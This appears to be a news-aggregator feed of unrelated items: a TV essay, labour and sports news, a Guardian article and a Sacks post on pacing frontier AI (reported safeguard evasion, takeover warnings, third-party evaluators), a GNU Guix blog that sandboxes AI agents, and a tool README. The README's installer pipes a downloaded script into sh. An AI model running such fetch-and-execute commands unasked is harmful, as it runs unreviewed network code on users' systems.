Running for six seasons, the show ended in 2009, yet remains a cornerstone for modern sapphic culture and discourse. It’s impossible to exist even on the periphery of lesbian culture and not know the show’s core references from the infamy of “the chart” (a massive web of names and lines connecting every queer woman in The L Word universe by who’s hooked up with who displayed permanently on a huge whiteboard in a character’s home), or the irresistibility of Shane (the group’s resident womaniser who has a Don Draper tendency to effortlessly hook up with every woman she meets).

Despite proudly calling myself a lesbian for nearly 10 years, I had never seen The L Word until a few months ago. From the pilot, I was immediately enamoured by the reality of a show following a group of entirely queer women who aren’t automatically likable or agreeable. In the decades following The L Word’s premiere, queer characters on screen have increased significantly, but they are still usually only one or two out of a cast, more often than not paraded out for a serious identity storyline or sardonic comic relief. As the seasons of The L Word go on, the extreme interpersonal drama enters an almost soap opera landscape, with the situations these women find themselves in ranging from an alleged murder plot, a burned-down hair salon and a Hollywood film set sabotaged by rival lesbian nightclub owners, all the while participating in some of the most explicit lesbian sex scenes in television history.

‘The treatment of the only trans masc character, Max [played by Daniel Sea, right], is difficult to watch and widely regarded as a stain on the show’s legacy.’ Photograph: Everett Collection Inc/Alamy

In 2026, the enjoyment of seeing unapologetically queer women navigating off-the-wall scenarios works overtime to offset the aspects of the show that have spoiled with age. The treatment of the only trans masc character, Max, is difficult to watch and widely regarded as a stain on the show’s legacy. Max constantly brushes off transphobic comments and behaviour, and is exempt from the loyalty and compassion extended to everyone else. This ridicule seems vitriolic even for the time, and it’s confounding to witness a show discuss a wide berth of taboos around queerness but draw the line at transness. The cast is also overwhelmingly white, despite taking place in a hugely diverse city like LA, and clunkily navigates the inherent differences of lived experience in interracial relationships with an emphasis on the white partner’s discomfort.

In The L Word, queerness doesn’t equal moral goodness. These characters make all the wrong choices, communicate in the worst possible ways and never become better people, and that complexity is why it endures. It has all the hallmarks of other lost media relics of the 2000s: cringe-inducing takes on gender, an overwhelming sea of thinness, white washing, bizarre fashion choices – but, as displayed by the passion and numbers that blew up my Instagram, it is far from forgotten. The emotional anchors of the show, the characters and their relationships, paired with absurd plotlines perfectly engineered for maximum drama, creates an authenticity that encapsulates the idiosyncrasies of lesbian culture without ever feeling like the butt of the joke.

The show knows queer people aren’t ethical angels; we can be mean, selfish, greedy and delusional, and that’s its superpower. In the words of the theme song, The L Word persists because “this is the way that we live and love”.

‘Revenge of the Rust Belt’: Starbucks Film-Maker on Baristas vs Billionaires

Portside
portside.org
2026-09-13 13:47:22
‘Revenge of the Rust Belt’: Starbucks Film-Maker on Baristas vs Billionaires Marti Sun, 09/13/2026 - 13:47 ...
Original Article

Director Mark Mori attends a Baristas vs Billionaires special gathering on 19 November 2025 in New York City. | Photograph: Johnny Nunez/WireImage

As the food service industry was pushed on to the frontlines of the Covid-19 pandemic in 2021, workers at Starbucks stores in the Buffalo region of New York went public to announce their union-organizing campaign.

Their efforts, and Starbucks’ responses, have culminated in one of the most expansive union-organizing campaigns – and one of the most aggressive union- busting campaigns – in modern US history.

In the new documentary film Baristas vs Billionaires, Starbucks workers in Buffalo recount their experiences with the billionaire Howard Schultz descending on the city to attempt to quell the unionization efforts.

Narrated by the actor Susan Sarandon, with Alec Baldwin serving as a contributing producer, the film was directed and written by Mark Mori, who received an Academy Award nomination in 1991 for the documentary Building Bombs and received an Emmy award for a 2001 documentary on the Kent State shootings.

A protest at Starbucks. Photograph: Courtesy of Barista vs Billionaires

“Even though the Starbucks workers’ fight for a living wage was so public, I had no idea of the twists and turns and heartbreak connected to their struggle,” said Sarandon.

In an interview with the Guardian, Mori said his former background as a steelworker and a union member with the United Steelworkers – and in political activism – had informed his decision to take on the project. He began reading about the union drive at Starbucks and spoke with a friend who would shoot the film for him.

“We just went out and started interviewing baristas,” Mori said. “To me, I looked at it as the beginning of a long upsurge in the labor movement. I looked at this as we were in the 1930s, the 21st-century version of that.”

Mori sees the Starbucks union-organizing drive as a counter to the drastic decline of the manufacturing industry in the US midwest in recent decades that has decimated the working class.

“I call it the revenge of the Rust belt. Many of these kids are the children or grandchildren of the steelworkers from Bethlehem Steel in Buffalo, the grain silos in Buffalo, all of these factories across the Rust belt that were shut down. Their parents and grandparents lost their pensions, lost their homes, and these kids don’t see any future,” said Mori.

Mark Mori with Alec Baldwin at a fall 2025 screening event. Photograph: Isiah Babilonia/Courtesy of Barista vs Billionaires

“These young kids are so inspirational, and they’re showing one way to deal with what’s going on, and there are many other ways. But the real number one thing about this is these young people taking matters into their own hands and inspiring other people to stand up against these billionaires.”

He explained the Starbucks workers who led the union-organizing drive reminded him of Vietnam war activists in the 1960s and 70s.

“This is part of what some refer to as a wealth gap,” he added. “These kids can’t make enough money to pay off their student loans, to get married, to buy a house, to have children, They’re so brave and articulate in what they’re doing. I’m of an older generation, I was in the anti-Vietnam war movement. They reminded me very much of that.”

The film is currently only available via scheduled screenings , though a distribution deal is in the works.

The film comes as tensions between Starbucks and the union continue to escalate. Starbucks Workers United launched a boycott on 25 August against Starbucks over the company’s failure to reach a first contract with the union. More than 700 Starbucks stores have won union elections since 2021.

Behind the scenes of Baristas vs Billionaires. Photograph: Courtesy of Barista vs Billionaires

The union is pushing for a $17-an-hour minimum wage, improved staffing and scheduling, and workplace protections, and for Starbucks to resolve the unfair labor practice charges.

Administrative law judges and the National Labor Relations Board found Starbucks committed more than 500 labor law violations, and hundreds of unfair labor practice charges at the agency are still unresolved.

A spokesperson for Starbucks did not directly comment on the movie or the union’s boycott.

“Starbucks has competitive pay, industry-leading benefits, and meaningful opportunities to grow a career,” the spokesperson said in an email. “People love working at Starbucks which is why we have the lowest turnover in the industry and why more than 1 million people every year apply to wear the green apron. As we have always been, we’re committed to engaging in productive bargaining.”

Device Drivers lab exercise – COSC562

Hacker News
web.eecs.utk.edu
2026-09-13 13:41:50
Comments...

Why is Google still serving dodgy ads?

Hacker News
www.atomic14.com
2026-09-13 13:37:44
Comments...
Original Article

read

HELP SUPPORT MY WORK: If you're feeling flush then please stop by Patreon Or you can make a one off donation via ko-fi

TLDR:

AI is really good at detecting deceptive adverts - why isn’t Google using it?

A couple of months ago I noticed this advert popping up in the YouTube app. The main reason I noticed it is that I accidentally clicked it - I knew I was running out of space on my iPhone and a minor lapse of concentration caught me out.

Well dodgy

These things can slip through even the best review processes, so I did my internet duty and reported the advert.

The response I got back was less than satisfactory:

It's all fine

Again, sometimes things slip through the net and people don’t always check things properly, so I reported it again. And got the same response.

In fact, multiple people have reported this advert and received the same:

We found that the ad doesn’t go against Google’s policies, which prohibit certain content and practices that we believe to be harmful to users and the overall online ecosystem.

I’m a big fan of Hanlon’s razor .

Never attribute to malice that which is adequately explained by stupidity

However, if you were being uncharitable, you do have to question whether it’s in Google’s interest to remove adverts that get lots of clicks. After all, these adverts are probably performing well and bringing in lots of lovely 🤑.

A simpler explanation is that the people reviewing adverts cannot properly review everything so things get missed.

You can’t help thinking that AI should come to the rescue here. Given Google has some pretty good models - surely it can put them to use?

Here’s what Google’s Gemini has to say about the advert:


Classification: DISAPPROVED

Policy Violations:

  1. Misrepresentation: Misleading Ad Design
  2. Misrepresentation: Unreliable / Deceptive Claims

Detailed Reasons for Disapproval

  • The Violation: Google Ads policy strictly prohibits advertisements that imitate operating system dialogs, system warnings, error messages, or interactive system notifications.
  • The Evidence: The banner embedded inside the ad explicitly mimics an iOS system alert modal (“iPhone Storage is Full”) complete with standard iOS typography, container styling, and mock system buttons (“Yes” / “No”). This trick visually deceives users into believing their device is throwing a native system-level alert, coercing them to click.

2. Non-Functional / Deceptive UI Components

  • The Violation: Ads cannot feature non-functional or misleading interactive elements, such as fake dialog options, false close buttons, or radio choices that do not perform their implied system function.
  • The Evidence: The “Yes” and “No” options inside the graphic image are static visuals designed to capture clicks anywhere on the ad banner to trigger a store/landing page redirect, rather than acting as true system controls.

3. Deceptive Fear-Based Tactics & Unverified Claims

  • The Violation: Advertising policies forbid using deceptive claims or scare tactics to induce panic and force immediate user action.
  • The Evidence: Stating “If you don’t free up space soon, some features may not work properly” inside a fake system popup fabricates a urgent state of failure on the user’s personal device, misleading them about their hardware status to drive app installs.

Required Action

Disapprove the ad creative immediately. Issue a policy violation warning/disapproval flag to the advertiser account under Misrepresentation (Misleading Ad Design) . Repeated violations of this nature may result in full account suspension for deceptive practices.


Google’s own model rejects the ad in seconds, yet Google’s review process approved it twice.

Come on, meatbags - use some of the amazing AI tools you have access to.

HELP SUPPORT MY WORK: If you're feeling flush then please stop by Patreon Or you can make a one off donation via ko-fi

Written by

Chris Greening


Published

Supported by

Ask HN: What are you working on? (September 2026)

Hacker News
news.ycombinator.com
2026-09-13 13:31:38
Comments...
Original Article

I've continued working on my game project, Vestiges, which is a 2D narrative strategy rogue-like in Godot. In brief: I once had a career in game development, in game design or project direction roles. Life circumstances derailed my career some years ago, but earlier this year a colleague encouraged me to experiment with genAI. I began Vestiges to see if I could create something again, to enjoy the creative process. It progressed well enough that I'm planning to complete and release it.

For various reasons unrelated to the project, progress since last month has been slow (and I expect the next month will be as well). Most of the work I've done has been for peripheral features, not anything on the critical path. After my brother bounced off of the narrative elements (not unexpected :) ), I added an "aliterate" lens that distills the game into its strategy gameplay, burying the narrative content for those who aren't interested in it.

In preparation for releasing a demo version, I added opt-in collection of a session's gameplay data, which I intend to analyze to find ways to improve the UI, UX, gameplay, balance. By default, no identifying information whatsoever is collected. A separate opt-in adds minimal technical information (things like OS, CPU, GPU, display settings).

I added global text size option as an accessibility feature and used an MCP server to have Claude do the initial layout testing. This was an interesting experiment, but requires enough tokens that it's not very practical as a frequent part of development. These features went hand-in-hand -- via the MCP server, Claude takes a screenshot every five seconds to decide what to hover over or click on next. These screenshots consume tokens rapidly, so they are reduced in size. With a larger font size, the screenshots can be reduced further with the text remaining legible to Claude.

Other housekeeping: numerous iterative improvements to my general development process and use of Claude. I wrote my first simple skill: used in conjunction with the brainstorming skill from the superpowers plugin, Claude creates an "origin" document that preserves my initial prompt and some aspects of the brainstorming discussion.

I expect to launch a demo version once my current life situation settles a bit. I'm still not in any particular hurry, but it would be good to start getting player feedback. Also, to the whatever extent I do want Vestiges to have any commercial success, the largest obstacle I'll face is discoverability and marketing.

A meta-comment: When I first mentioned this project, in the July "What are you working on?" ( https://news.ycombinator.com/item?id=48886151 ), I explained some back story of this project. It got a fair amount of attention, rising to the top of the post and encouraging some discussion. Last month ( https://news.ycombinator.com/item?id=49234405 ), I didn't repeat my story and received no upvotes or comments. This presents me with a quandary because it feels uncomfortable/self-indulgent to repeat my story each time, yet without that context, my project isn't particularly notable or interesting. (Or maybe luck/timing was a factor?)

Ask HN: How can I browse HN in dark mode?

Hacker News
news.ycombinator.com
2026-09-13 13:18:41
Comments...
Original Article

I am using Stylus and this theme:

    body {
        background-color: #262626 !important;
    }

    body > center > table, input, textarea {
        background-color: #222 !important;
    }

    body > center > table > tbody > tr:first-child > td {
        background-color: #ff6600 !important;
    }

    /* Bright text */
    td.title a:link, span.comment font, span.comment font a:link, u a:link, span.yclinks a:link, body:not([id]),
    td:nth-child(2):not(.subtext) > a:link, input, textarea, p > a, a > u, .c00, .c00 a:link,
    a[href="http://www.ycombinator.com/apply/"], a[href="https://www.ycombinator.com/apply/"] {
        color: #ccc !important;
    }

    .admin td {
        color: #aaa !important;
    }

    /* search box and comment box */
    input, textarea {
        border: 1px solid #828282 !important;
    }

Romania soccer introduces black card to 'combat abusive behaviour' from parents

Hacker News
www.nytimes.com
2026-09-13 13:08:16
Comments...
Original Article

Side image of a football referee writing notes in a book

The card can be used to permanently cancel the match if they “observe inappropriate behaviour from spectators or parents". George Wood/Getty Images

The Romanian Football Federation (FRF) has introduced a new black card to help prevent abusive behaviour from parents at youth-team matches.

In addition to the standard yellow and red cards, which determine disciplinary sanctions for individual players on the pitch, referees will have a black card which can be used to permanently cancel the match if they “observe inappropriate behaviour from spectators or parents”.

The FRF said the move was designed to combat “bullying and pressure exerted by parents and spectators in the stands”, making it the first football federation to introduce such a measure.

The black card being brandished will be the final part of a three-step process. In the first instance, the referee will temporarily suspend the match and ask coaches to speak directly to its team’s supporters and parents, while an announcement will also be communicated to supporters should a public address system be available.

Should the behaviour continue, the referee will suspend the match for 10 minutes and send the teams off the pitch to their dressing room while once again asking coaches to attempt to de-escalate the behaviour of those in the stands.

The FRF then detail the process behind using the black card as the final step: “If abusive behaviour persists after play resumes, the referee blows the final whistle. The match is permanently abandoned and cannot be resumed.”

The new procedure is designed to prevent abuse aimed at young footballers, coaching staff members, referees, match officials, or other parents and spectators present.

This behaviour encompasses verbal abuse or physical assault, with the FRF distributing a kit containing a banner, posters with rules of conduct for parents, and flyers explaining the 3-step procedure to all 130 Romanian academies within its remit.

Connections: Sports Edition Logo

Connections: Sports Edition Logo

Connections: Sports Edition

Spot the pattern. Connect the terms

Find the hidden link between sports terms

‘Too little, too late’: critics perplexed and suspicious of AI leaders’ call for a slowdown

Guardian
www.theguardian.com
2026-09-13 12:54:58
From the Trump administration to AI experts, plans by the Anthropic boss to boost safety have spawned a largely negative responseOpenAI boss and Elon Musk back slowdown on ‘reckless’ AI developmentEditorial: controlling AI – humanity cannot outsource its survivalThe safety debate that ignited when ...
Original Article

The safety debate that ignited when whistleblowers last week warned that the most advanced AI poses an existential threat to humanity should come with a health warning: side effects include whiplash. It was only seven days ago that AI enthusiasts were cheerily toying with OpenAI’s newest model GPT-6 Astra which was marketed in part as a lifestyle tool to help people book tennis courts, run fashion companies and order takeaways.

By Wednesday, cutting-edge AI started to look a lot less appealing when the resigning Anthropic researcher Jacob Coxon warned “the people building AI earnestly believe that it could kill us all by the end of the decade”. Yes, he was talking about artificial superintelligence – an as-yet-nonexistent version of the technology that outcompetes humans in most domains – but his comments, and the chorus of experts that echoed him, jangled plenty of nerves.

Another lurch came when Anthropic revealed it had found users dodging controls to use its existing models “in ways that could support biological weapons development” – think novel mosquito-borne or bird flu viruses. It was all enough to make lawmakers in London and Washington demand brakes and bans on the most potentially dangerous types of AI development.

And then this weekend, another sharp turn in the form of a three-point plan from the Anthropic boss, Dario Amodei, to “pace the frontier” . Never mind that his own employees had seeded the borderline panic only a few days earlier, Amodei was here to save us from fears of AI Armageddon, but not before his own spicy warning that the accelerating rate of capabilities meant a swarm of AI agents “could be capable of taking over the entire internet” in six to 12 months. Sceptics doubted that claim, but it was enough for some to declare it a “code red” moment.

In signs that a coordinated slowdown might not be just talk, some of Amodei’s precautionary ideas quickly attracted backing from his rivals – Sam Altman at OpenAI and Elon Musk at SpaceX . Perhaps there were reasons to be hopeful after a bumpy week: at least the AI companies were talking about a slowdown before anyone got badly hurt.

In a nutshell, Amodei proposed three moves. First, each US AI company grants ongoing access to embedded third-party evaluators to check compliance with safety commitments, report incidents, ensure new AI models are not misaligned. Until now, such watchdogs have only been brought in at the companies’ behest or given limited access to systems to investigate when things go wrong. In the absence of any government-level independent regulator, this is a start.

Second, he wants all companies in democratic countries building frontier AI models to establish common safety standards as well as limits on the rate of unchecked AI progress.

Third, the world’s democratic AI powers would coordinate with autocracies – notably China – to control the race. This is likely to be the hardest step. Amodei suggested a baby step could be a narrow agreement prohibiting obviously dangerous uses of AI, such as for the production of biological weapons. Donald Trump’s meeting with Xi Jinping in Washington DC on 24 September will test the prospects of any Sino-American coordination.

An immediate political problem is that Donald Trump appears reluctant to confess to any AI fears. Amodei’s plan requires US government action and Trump said last week he had no concerns about AI leading to human extinction. He doubled down on Sunday, saying people were “bringing up things that won’t happen”. Losing to China appears to be a bigger worry in Trump’s AI calculus.

“There is no day after tomorrow if China wins at this,” said Scott Bessent, the US treasury secretary, last week. “If they were to pull away from us on AI, then nothing else would matter.”

People close to Trump also wonder why Amodei and the rest of the AI leaders do not get on with pacing AI development themselves.

“The easiest way not to build superintelligence is for you to agree not to build it,” said David Sacks in response to Amodei’s blog. Sacks is co-chair of Trump’s council of advisers on science and technology.

skip past newsletter promotion

“Demanding your preferred regulatory framework as the price of that will look like blackmail of the public and the political system,” he told Amodei.

Another criticism of Amodei’s call for “pacing” of AI progress to allow safety measures and guardrails to keep up has came from Prof Stuart Russell, one of the world’s leading AI experts. Amodei proposed a slowdown to free up time to make advances in systems to keep the AIs aligned to human interests. But Russell said this was “completely backwards”.

“We don’t just set a slower rate of progress for capabilities and then hope that provides enough time to get the safety right,” he said. “We set the safety requirements and further progress occurs only when they are met. Imagine if a pharmaceutical company said: ‘We’re going to release a new cancer drug every year, and we hope that provides enough time for some clinical trials to be completed and for the results to be good.’”

AI experts not working for the big labs were also suspicious about a plan for a global regulatory framework for AI drafted by the leader of the world’s most-valuable AI company.

“Too little, too late,” said David Krueger, an AI professor, safety campaigner and former founding director of the UK government’s AI Security Institute. He added: “We need an immediate, indefinite, international moratorium on frontier AI development.”

David Sacks: OpenAI and Anthropic Don't Need Regulations to Pace Frontier Models

Hacker News
twitter.com
2026-09-13 12:52:33
Comments...
Original Article

Dario has written that we need to “pace the frontier,” and Sam has agreed. People may be surprised by my response: go ahead. You guys are the frontier. By any reasonable metric — market share, revenue growth, model capability — the two of you have a duopoly on frontier intelligence. You’ve also claimed the lead is widening because of recursive self-improvement. I don’t see what you see in the lab. If the unreleased models are scary enough that you think you should slow down, I support your decision to be responsible. But stop pretending you need anyone else’s permission. Stop pretending antitrust law has to be suspended so you can form a cartel. Stop pretending you need a regulatory approval process that supersedes product liability. Stop pretending METR is independent when it is intertwined with Anthropic’s investors and staff. Stop pretending you need those same evaluators to police competitors who aren’t even at the frontier. Most of all, stop pretending the motivation to slow down is purely altruistic. You face massive product-liability exposure if your products enable a truly damaging cyberattack. The market already punishes models that behave in unpredictable or unauthorized ways. After the Hugging Face episode, it is simply good business for OpenAI and Anthropic to trade some raw power for reliability and predictability. Call it alignment if you want. It is also just giving customers what they want. Pacing the frontier would also create breathing room for a more intelligent conversation about regulation than Bernie Sanders’ “shut it all down.” China is very unlikely to join a global agreement, as you know, and that has to be taken into account as well. So go ahead and pace the frontier. You are the ones setting it. The easiest way not to build superintelligence is for you to agree not to build it. Demanding your preferred regulatory framework as the price of that will look like blackmail of the public and the political system. So just do it. If you do, you’ll buy goodwill for the next conversation. If you don’t, we’ll know this was just another bid for regulatory capture — or an election-season psyop.

GEFS: The File Shredder of the Future

Lobsters
exquisite.tube
2026-09-13 12:30:23
Comments...

Switching to GNU Guix: A Beginner's Perspective

Lobsters
whhone.com
2026-09-13 12:19:47
Comments...
Original Article

2026-09-13 #linux #guix

Contents

Background: A Decade of Arch Linux

Arch Linux was my distribution of choice for more than a decade. With its rolling-release model, minimal base, and the invaluable ArchWiki, it felt like the final distribution I would ever need.

My primary Linux machine is a dedicated home server, handling services like Home Assistant, local DNS, background jobs, and developer sandboxes. For a server running 24/7, long-term stability and maintainability are critical. Over years of incremental tweaks, configuration entropy inevitably crept in. System state became scattered across /etc , /usr , systemd service units, and package manager transactions. Whenever I made changes, I had to keep diligent notes about which files were edited, when, and why.

Recent events, such as the Arch Linux AUR security incidents (which I touched upon in my previous post on Caddy ) and developments around Omarchy, prompted me to re-evaluate my setup. I wanted an operating system that was declarative, reproducible, and manageable entirely in code.

NixOS vs GNU Guix

Declarative operating systems offer a compelling answer to configuration drift. When researching options, NixOS was actually my first choice.

Testing NixOS in a VM

I spun up a NixOS virtual machine and spent time experimenting by replicating the core services I was running on Arch to ensure everything worked properly. It worked really well: declaring the entire system state in a configuration file with instant rollback capabilities felt like the right model for operating systems.

However, as I explored deeper, documentation in NixOS became a major source of friction. The newer nix command line interface and Flakes remain experimental features that are not yet enabled by default or standardized across the ecosystem, leading to divergent documentation and tutorials. Finding guidance was further complicated by the presence of two separate wikis.

Discovering GNU Guix

While learning more about NixOS, I came across David Wilson’s video from System Crafters: Why I Choose Guix Over NixOS . As a fan of David Wilson, his arguments resonated strongly with me. Shortly after, I also watched YouTux’s video, One of the Best Linux Distros Isn’t Even in DistroWatch’s Top 100 .

These videos prompted me to research GNU Guix and try it inside a VM.

GNU Guix shares the same core architectural foundation as NixOS (functional package management, declarative configuration, and atomic rollbacks), but its design choices felt much more cohesive:

  1. Language (GNU Guile Scheme vs Nix DSL): Nix uses its own bespoke domain-specific language. Guix configurations are written entirely in GNU Guile, a general-purpose Scheme (Lisp). As an Emacs user accustomed to Emacs Lisp, Scheme felt familiar and expressive. Rather than learning a specialized configuration syntax, I could leverage a real programming language with first-class functions, macros, and modules.
  2. Init System (GNU Shepherd vs systemd): NixOS builds on systemd, while Guix System uses GNU Shepherd as its service manager. In Guix, Shepherd services are also defined in Guile Scheme. Everything from package recipes to system daemons to PID 1 shares a unified language and data model.
  3. Documentation: Guix’s documentation is remarkably cohesive. Even though some community tutorials can be dated, the official GNU Guix reference manual is consistent, comprehensive, and avoids the fragmented wiki landscape of Nix.
  4. Philosophy (GNU Libre Standards vs Pragmatism): NixOS takes a pragmatic stance, offering toggles for proprietary software and unfree drivers. GNU Guix strictly adheres to the GNU Free System Distribution Guidelines, shipping the Linux-libre kernel and free software exclusively by default.

This philosophical strictness has its trade-offs. For my home server, which connects to the network through an Ethernet cable, proprietary Wi-Fi firmware is unnecessary, and the Linux-libre kernel works out of the box. The purity and auditability feel satisfying, though it does mean dealing with a more curated package catalog.

Between the familiarity of Scheme, the unified architecture, and its close kinship with Emacs, I decided to make the switch to GNU Guix.

What I Like as a Beginner

Unified Declarative Config in Git

With GNU Guix, the entire operating system configuration lives in code and is tracked in Git. I manage both Guix System (operating system declarations, system daemons, kernel parameters) and Guix Home (user packages, shell environments, and dotfiles) within a single literate Org-mode file ( guix.org ) using Org Babel.

At any point, I can see exactly which packages are installed and which services are active directly from the codebase. In the past, I hesitated to invest in complex system configurations because maintaining them across updates was fragile. With Guix, configuring the operating system feels as manageable and predictable as tweaking my Emacs configuration.

Flexible Guile Configuration

Guix configurations are written in a full-featured programming language rather than static YAML or JSON. This gives immense flexibility when composing services.

Using Guix’s service extension mechanism with simple-service , you can extend existing system services cleanly without modifying base declarations. In a traditional distribution, deploying a service forces you to fragment its configuration across completely separate subsystems: a systemd unit in /etc/systemd/system/ , directory initialization in /etc/tmpfiles.d/ , and reverse proxy blocks in /etc/nginx/conf.d/ .

With Guix, you can co-locate a service and its surrounding infrastructure side by side in the exact same configuration block:

;; Home Assistant container
(simple-service 'home-assistant-container
                oci-service-type
                (oci-extension
                 (containers
                  (list
                   (oci-container-configuration
                    (provision "home-assistant")
                    (image "ghcr.io/home-assistant/home-assistant:stable")
                    ...details config...)))))

;; Inject the Nginx reverse proxy configuration for Home Assistant
(simple-service 'home-assistant-nginx-server
                nginx-service-type
                (list
                 (nginx-server-configuration
                  (inherit ssl-server-configuration)
                  (server-name (list (string-append "home." domain)))
                  (locations
                   (list
                    (nginx-location-configuration
                     ...details config...)))))

This architectural clarity makes understanding, modifying, or removing a service self-contained and painless.

Streamlined Shepherd Timers

Defining scheduled jobs in Guix is also much more streamlined than in traditional distributions. In systemd, setting up a recurring job requires declaring a .service file and a separate .timer unit.

With GNU Shepherd in Guix, you can declare the executable script, its dependencies, and its schedule together in a single Guile expression:

(let* ((duckdns-script
        (program-file
         "duckdns-update"
         (with-extensions (list guile-gnutls) ;required by (web client)
                          #~(begin
                              (use-modules (ice-9 textual-ports)
                                           (web client))
                              (let ((token (string-trim-both
                                            (call-with-input-file "/etc/secrets/duckdns.token"
                                              get-string-all)))
                                    (query-template (string-append "https://www.duckdns.org/"
                                                                   "update?domains=<mydomain>"
                                                                   "&token=~a&ip=")))
                                (http-get (format #f query-template token)))))))
       (duckdns-timer
        (shepherd-timer '(duckdns)
                        "*/5 * * * *"
                        #~(#$duckdns-script)
                        #:requirement '(networking)
                        #:documentation "Update personal domain IP on DuckDNS every 5 minutes.")))
  (simple-service 'duckdns-timer
                  shepherd-root-service-type
                  (list duckdns-timer)))

Sandboxed Containers with guix shell

The guix shell command has transformed how I run ad-hoc software. Instead of polluting my profile with one-off utilities, guix shell creates an ephemeral environment that is cleaned up when the session ends.

Furthermore, its container mode ( guix shell -C or --container ) makes lightweight isolation trivial. By specifying exactly which directories ( --share ) and network access ( --network ) to expose, I can run untrusted commands or AI coding agents inside an isolated sandbox.

For example, I run the Antigravity CLI within a sandbox granting access only to the current working directory, its configuration, and necessary binaries:

# Run Antigravity CLI in a Guix sandbox with access to its config and the project directories.
agy-guix() {
    guix shell --container --network --emulate-fhs \
         --share="$PWD" \
         --share="$HOME/.gemini" \
         --share="$HOME/.local/bin" \
         --preserve='^(TERM)$' \
         coreutils nss-certs bash guix guile emacs git ripgrep fd zip unzip -- $HOME/.local/bin/agy "$@"
}

Knowing an agent cannot access arbitrary files outside its granted path makes experimentation much safer.

Purity and the Minimal Bootstrap Seed

By default, GNU Guix is strictly libre. It ships with the Linux-libre kernel and avoids proprietary binary blobs.

Beyond day-to-day use, Guix’s architectural focus on bootstrapping integrity (reducing the bootstrap binary seed down to around 357 bytes through the stage0/Mes bootstrap) provides a strong sense of technical rigor. Knowing the system can be built from minimal, auditable foundations provides real trust in the underlying stack.

Issues and How I Handle Them

Slow guix pull and Source Builds

A fundamental difference between Guix and Arch Linux is that Guix is a source-based distribution at its core, backed by substitute servers that distribute prebuilt binaries.

If a newly pulled channel commit has not yet been built by the substitute build farm (such as ci.guix.gnu.org or Bordeaux), your machine will fall back to compiling the packages locally. While this architecture empowers powerful capabilities like guix challenge (verifying build reproducibility against other servers) and guix time-machine (traveling back to any historical revision), waiting for long local builds on a home server can be tedious.

To avoid unexpected local compilation, my practical workaround is to pin guix pull to a specific commit from a day or two earlier, ensuring substitutes are already built and cached:

;; ~/.config/guix/channels.scm (or: guix pull --commit=<hash>)
(list (channel
       (inherit %default-guix-channel)
       ;; faster pull via Codeberg mirror
       (url "https://codeberg.org/guix/guix.git")
       (commit "5b52edf051a020947b1d4859853799f2bbce176e")))

Addressing the Package Gap

The most noticeable hurdle for a beginner coming from Arch Linux is repository size. The official Guix channel has strict libre standards and a smaller catalog than the Arch User Repository (AUR). Common utilities like hugo and caddy are not present in the official channel.

In practice, there are several practical ways I handle this gap:

1. Writing Custom Package Definitions

Writing a package definition in Scheme is straightforward. You can define a package that builds from source or downloads an official upstream release archive:

(define hugo
  (package
    (name "hugo")
    (version "0.165.0")
    (source (origin
              (method url-fetch)
              (uri (string-append
                    "https://github.com/gohugoio/hugo/releases/download/v"
                    version "/hugo_" version "_linux-amd64.tar.gz"))
              (sha256 (base32 "0..."))))
    (build-system trivial-build-system)
    ...))

For Hugo, I created a local package definition downloading the official prebuilt binary, making it available seamlessly to my system and deploy scripts.

2. Running Ephemeral Toolchains via guix shell

For tools that exist within language ecosystems, guix shell can pair with ecosystem runners ( uvx , npx ) without installing packages globally:

# That is how I publish my blog to Cloudflare now.
guix shell node -- npx -y wrangler

3. Generating Definitions with guix import

When a package is missing, guix import can automatically generate package definitions from upstream registries, such as PyPI, Crates.io, CPAN, or GNU ELPA. This significantly reduces the manual effort of writing package recipes.

4. Switching to Readily Available Alternatives

Sometimes the simplest path is adopting software that is already a first-class citizen in Guix. Rather than maintaining a custom Caddy setup with third-party plugins, I switched back to Nginx combined with Certbot. Both are well-supported native services in Guix System, simplifying long-term maintenance.

Conclusion

It has been a month since migrating my home server to GNU Guix. Managing OS state declaratively through Git has eliminated configuration drift, and Guile Scheme provides a cohesive environment that complements Emacs. While adapting to a smaller package ecosystem and managing substitute timing requires occasional adjustments, the stability, reproducibility, and container isolation make it a dependable foundation.

In my free time, I have started reading the legendary SICP (Structure and Interpretation of Computer Programs) to deepen my understanding of Scheme and functional programming.

Docket – Per-commit evidence records for agent-written code

Hacker News
github.com
2026-09-13 12:17:07
Comments...
Original Article

Docket

A per-commit evidence record for agent-written code.


Coding agents produce code faster than anyone can verify it. The reviewer receives a finished diff with no implementation journey: no record of what the agent tried first, what it verified, or which lines nobody ever looked at. The harness already emits that journey and then throws it away at commit time.

Docket captures it, folds it against the diff, and produces a per-hunk evidence record — so review attention lands where there is no evidence.

$ docket show HEAD

docket 7a9da95a2a748c2fb99706f48f2ddf64760ffab2
  record     sha256:046c5278e93cb516e3ba72400fd1a69648c85b93833d31d57648e9ed8e535ebf
  trust      local_claimed (signed on local)
  verified   digest and signature check out (ed25519:f889a26cbc34c95e)

  1 hunks in 1 files, 4 added lines
  100% of added lines attributed to a recorded edit
  mean evidence density 0.77

src/auth.js:3-6 (4 lines)  covered  density 0.77
  origin      claude-code/main via Edit (reported by the harness)
              claude-opus-5
  task        Fix session fixation on login
  intent      The raw UUID is reused across logins, so minting a prefixed id instead.
  attempt     Stamping a creation time on the session so expiry can be checked. [superseded]
              vitest failed after this change: npx vitest run
  evidence    coverage: 4 of 4 lines executed (coverage/coverage-final.json)
  evidence    test_execution: pass (npx vitest run --coverage) — failed before this change
  human       no recorded human contact with these lines

No account. No network. The records live in the repository, on an orphan ref.


Install

A single static binary. No Go toolchain, no runtime, nothing to compile.

curl -fsSL https://raw.githubusercontent.com/Dillonsmart/docket/main/install.sh | sh

Or take the archive for your platform from the releases page — macOS and Linux on arm64 and x86-64, Windows on both — unpack it, and put docket on your PATH. Every release publishes SHA256SUMS ; the installer checks them for you.

Building from source stays available for anyone who wants it:

go install github.com/Dillonsmart/docket/cmd/docket@latest

Then, in a repository:

See it before instrumenting anything

It builds a throwaway repository in a temp directory with a recorded session in it — an agent fixes a session fixation bug, gets it wrong once, watches a test fail, fixes it properly — and prints the docket for the commit. Your own repositories are not touched, and the directory is deleted on exit.

Upgrading

Re-run the installer. It overwrites the binary in place with the newest release:

curl -fsSL https://raw.githubusercontent.com/Dillonsmart/docket/main/install.sh | sh

docket version says what you have; the releases page says what is current. To pin, or to go back, name the tag:

curl -fsSL https://raw.githubusercontent.com/Dillonsmart/docket/main/install.sh | DOCKET_VERSION=v0.0.2 sh

(The variable goes on the sh side of the pipe. In front of curl it would be set for the download and not for the script.)

